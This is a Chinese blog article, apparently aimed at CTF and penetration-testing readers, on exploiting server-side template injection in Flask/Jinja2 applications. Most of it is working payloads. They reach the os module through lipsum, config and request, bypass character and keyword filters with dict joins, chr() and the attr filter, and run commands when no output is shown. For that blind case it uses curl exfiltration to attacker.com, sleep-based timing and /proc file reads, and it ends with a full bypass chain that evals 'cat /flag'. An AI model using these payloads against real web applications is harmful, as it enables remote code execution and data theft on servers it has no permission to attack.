当SSTI遇上Flask:利用`lipsum`、`config`和`request`对象进行无回显命令执行的几种骚操作

张开发
2026/4/19 14:14:02 15 分钟阅读

分享文章

当SSTI遇上Flask:利用`lipsum`、`config`和`request`对象进行无回显命令执行的几种骚操作
Flask SSTI漏洞实战从内置对象到无回显命令执行的深度利用Flask作为轻量级Python Web框架其模板引擎Jinja2的灵活性在带来开发便利的同时也隐藏着服务器端模板注入SSTI的安全风险。本文将深入剖析如何利用Flask内置对象实现高阶漏洞利用特别是在无直接回显场景下的命令执行技巧。1. Flask内置对象的攻击面分析Flask框架内置的多个全局对象和函数在SSTI漏洞利用中扮演着关键角色。这些对象不仅提供了访问框架内部状态的途径还能成为绕过安全限制的跳板。1.1 核心对象利用链以下五个内置对象在SSTI利用中最具价值对象名称关键属性/方法利用价值lipsum__globals__直接暴露os模块config__class__.__init__获取全局命名空间requestvalues/cookies/headers绕过字符过滤的多参数传递url_for__globals__[__builtins__]获取eval等危险函数current_appconfig替代config对象的备选方案典型利用示例{{ lipsum.__globals__[os].popen(id).read() }} {{ config.__class__.__init__.__globals__[os].system(sleep 5) }}1.2 属性访问的多种姿势当常规的点号访问被过滤时可采用以下替代方案中括号表示法{{ lipsum[__globals__][os] }}attr过滤器{{ lipsum|attr(__globals__) }}__getattribute__方法{{ lipsum.__getattribute__(__globals__) }}提示在Jinja2环境中|attr过滤器通常比直接方法调用更具绕过优势2. 字符过滤的绕过艺术实际CTF比赛中常见的过滤包括引号、括号、下划线等关键字符。下面介绍几种实用绕过技巧。2.1 字符串构造技术方法一字典键名拼接{% set adict(globals1)|join %} // 得到globals {% set osdict(o1,s1)|join %} // 得到os方法二ASCII码转换{% set chr().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[chr] %} {% set cmdchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) %}方法三列表索引取值{% set s(config|string|list) %} {% set cmds.1~s.2~s.3 %} // 拼接特定字符2.2 关键符号替代方案被过滤字符替代方案示例.attr过滤器_\x5f或变量拼接__class__→x~x~class~x~x[]__getitem__方法dict.__getitem__(keys)引号request对象传参或chr()构造见2.1节示例3. 无回显场景下的攻击手法当命令执行结果无法直接显示时需要采用间接方式获取信息。3.1 外带数据技术DNS外带示例{{ lipsum.__globals__.os.popen(curl http://attacker.com/?id).read() }}HTTP请求外带{% set reslipsum.__globals__.os.popen(id).read() %} {{ lipsum.__globals__.os.system(curl -X POST http://attacker.com -d ~res~) }}3.2 时间盲注技术通过延时判断命令执行结果{% if lipsum.__globals__.os.system(grep -q flag /etc/passwd sleep 5) 0 %} // 存在flag用户 {% endif %}3.3 文件描述符重定向利用/proc文件系统读取输出{{ request.__init__.__globals__[__builtins__].open(/proc/self/fd/3).read() }}4. 综合实战案例假设遇到以下过滤条件禁止使用引号、中括号、下划线过滤了os、system等关键字禁用{{ }}标签绕过方案{% set xhx(()|select|string|list).pop(24) %} {% set globals(xhx,xhx,dict(globals1)|join,xhx,xhx)|join %} {% set builtins(xhx,xhx,dict(builtins1)|join,xhx,xhx)|join %} {% set chr(lipsum|attr(globals)).get(builtins).chr %} {% set cmdchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) %} {% print (lipsum|attr(globals)).get(builtins).eval(cmd) %}技术要点使用select|string|list获取下划线字符通过字典拼接构造__globals__等关键字利用chr()函数动态构造命令字符串最终使用eval执行命令在真实渗透测试中我曾遇到一个案例需要绕过WAF的11层过滤最终通过组合request.cookies、|attr过滤器和字符串拼接技术成功实现命令执行。关键点在于发现WAF对Cookie头的检测较为宽松而attr过滤器能有效避开关键字检测。

更多文章